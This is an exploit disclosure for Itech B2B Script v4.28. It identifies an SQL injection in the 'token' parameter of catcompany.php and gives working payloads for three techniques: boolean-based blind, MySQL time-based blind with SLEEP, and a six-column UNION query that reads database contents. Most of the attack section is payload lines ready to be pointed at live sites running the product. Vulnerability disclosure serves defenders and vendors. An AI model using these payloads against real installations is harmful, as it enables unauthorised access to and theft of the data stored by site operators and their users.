Exploit Title: Itech B2B Script v4.28 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/b2b-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

B2B Script v4.28 is a versatile web solution for the webmasters who are willing to launch their own B2B Portal within a few minutes.

Type of vulnerability:

An SQL Injection vulnerability in Itech B2B Script v4.28 allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7[payload]

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7' AND 6539=6539 AND 'Fakj'='Fakj

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: http://localhost/catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7' OR SLEEP(5) AND 'aEyV'='aEyV

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: http://localhost/catcompany.php?token=-4421' UNION ALL SELECT NULL,CONCAT(0x71627a7071,0x596a5174756f74736847615667486444426f697a5549434943697a697064466865494a7156794770,0x716b707a71),NULL,NULL,NULL,NULL-- JwUA ---